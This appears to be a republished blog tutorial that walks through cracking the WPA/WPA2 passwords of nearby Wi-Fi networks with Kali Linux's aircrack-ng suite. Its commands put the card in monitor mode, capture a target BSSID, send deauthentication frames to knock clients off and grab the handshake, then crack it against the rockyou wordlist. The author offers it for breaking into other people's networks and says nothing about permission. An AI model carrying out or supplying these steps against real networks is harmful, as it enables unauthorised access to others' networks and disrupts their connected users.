Logo

dev-resources.site

for different kinds of informations.

Hack WiFi using Kali Linux

Published at
2/6/2023
Categories
kalilinux
wifi
hackwifi
hacking
Author
nitinkumar30
Categories
4 categories in total
kalilinux
open
wifi
open
hackwifi
open
hacking
open
Author
12 person written this
nitinkumar30
open
Hack WiFi using Kali Linux

Today, we will understand how to hack nearby wifi passwords.

Prerequisites:

  • WiFi should be in range (Of course)
  • Kali Linux OS (preferred)
  • Wifi interface(Already present if using laptop)

The tool of kali linux which we'll be using are:

  • airmon-ng
  • airodump-ng
  • aireplay-ng
  • aircrack-ng

. Let's check out the full steps how to get the password of reachable wifi.

Steps to reproduce:

  1. Go to console & type the following command:
ifconfig
Enter fullscreen mode Exit fullscreen mode
  1. Kill all the current processed & network managers related to wifi interface.
airmon-ng check kill
Enter fullscreen mode Exit fullscreen mode
  1. Start the interface using airmon
airmon-ng start start YOUR_WIFI_INTERFACE_NAME
Enter fullscreen mode Exit fullscreen mode

airmon-ng start start wlan0

  1. To view all the wifi networks around you.
airodump-ng YOUR_INTERFACE_NAME
Enter fullscreen mode Exit fullscreen mode

airodump-ng wlan0mon

airodump-ng is for capturing the packets

  1. After sometime, click on CTRL+C to stop scanning so that we've some wifi networks.

  2. Now, we need to view the clients connected to that network

airodump-ng -c 1 --bssid BSSID_NUMBER/MAC_ADDRESS -w /root YOUR_WIFI_INTERFACE_NAME
Enter fullscreen mode Exit fullscreen mode

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon

; -c is for channel number, -w is for the directory you want to save the report file

Now, our approach will be disconnecting all the connected clients from the network and sniff the packets received while connecting back to the same network. When it does so, you'll get something we call WPA handshake in current window.

  1. Open new terminal and disconnect the clients from that network using below code:
aireplay-ng -0 10 -a BSSID_NUMBER/MAC_ADDRESS YOUR_WIFI_INTERFACE_NAME
Enter fullscreen mode Exit fullscreen mode

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon

; aireplay-ng is for injecting the required frames to disconnect clients,
-0 for deauthentication(so that clients will retry to connect),
10 for the deauthentication packets to be send, you can increase or decrease depending upon the time you want to spend on this.

  1. You can now close this window. Capturing the password is now completed from our end. Now, we only need to decrypt the password. To open the passwords file, navigate to the directory you've provided in Step 6 above. You'll get a .cap file. That's our file.

  2. For decrypting the .cap file, we've different techniques. We'll use simple technique using aircrack-ng only. It'll help us crack the password using a wordlist. You can use rockyou.txt wordlist which is most commonly used & is updated on regular basis.

Following is the code to run:

aircrack-ng -a2 -b BSSID_NUMBER/MAC_ADDRESS -w WORDLIST_FILE_LOCATION CAP_FILE_LOCATION
Enter fullscreen mode Exit fullscreen mode

aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap

; aircrack-ng is WEP/WPA-PSK key cracking program,
-a2 for WPA2 & -a for WPA network,
-w is the wordlist file location,

If password is successfully cracked, you'll get the confirmation message as "KEY FOUND!"


I've tried to teach how to crack wifi password of your nearby wifi network for free in the simplest manner possible. However, if you're facing any difficulty, do mention it in the comment. Will try to help.

You can follow me on LinkedIn, Instagram or check my latest projects on my GitHub. Also, you can check my portfolio too.

[Keep Hacking] [Thanks]

kalilinux Article's
30 articles in total
Favicon
Comprehensive Guide: Setting Up Gestures on Linux (Debian-Based Distributions)
Favicon
Master Password Attacks in Minutes! Ethical Hacking Guide πŸ”“
Favicon
How Hackers Use SS7
Favicon
Endpoint Security Bypass EXPOSED! Hackers Don't Want You to Know This!
Favicon
How to Set Up an Access Point with a Fake Captive Portal
Favicon
Kali Linux Basics: Your Gateway to Ethical Hacking
Favicon
Instalar BeEF en Kali Linux 2024
Favicon
Happy birthday #linux
Favicon
Linux OS & Basic Commands
Favicon
Getting Started with Kali Linux A Beginners Guide
Favicon
Kali Linux For Beginner
Favicon
Is Your PC Safe? How to Block Password Unlockers Like Chntpw in 2024πŸ’»πŸ”
Favicon
Automatically Change IP Address Ψͺغير اي بي Ψ¨Ψ΄ΩƒΩ„ ΨͺΩ„Ω‚Ψ§Ψ¦ΩŠ ΩƒΨ§Ω„ΩŠ Ω„ΩŠΩ†ΩƒΨ³
Favicon
Manage Those Users
Favicon
What is File Manipulation?
Favicon
Installing Essential Software on Kali Linux: Browsers, Office Suite, Code Editors, and More
Favicon
How to Change Linux Password Quickly and Easily
Favicon
Advance Free Debugger
Favicon
Hack WiFi using Kali Linux
Favicon
[Help me] Linux in the Virtual Machine
Favicon
Web simulation of Kali Linux
Favicon
Is hacking only done in Linux?
Favicon
Install Kali Linux 2022.2 On Your Android Device
Favicon
How to Install VirtualBox on Kali OS(2022)
Favicon
KALI LINUX: Common Commands that you should know : PART ONE
Favicon
Setting up and Using BloodHound in Kali Linux
Favicon
Configuring AWS EFS to work with Kali Linux running on AWS EC2
Favicon
Black-Tool
Favicon
How to vs code in Kali linux
Favicon
How to install nuclei in any linux ☠️

Featured ones: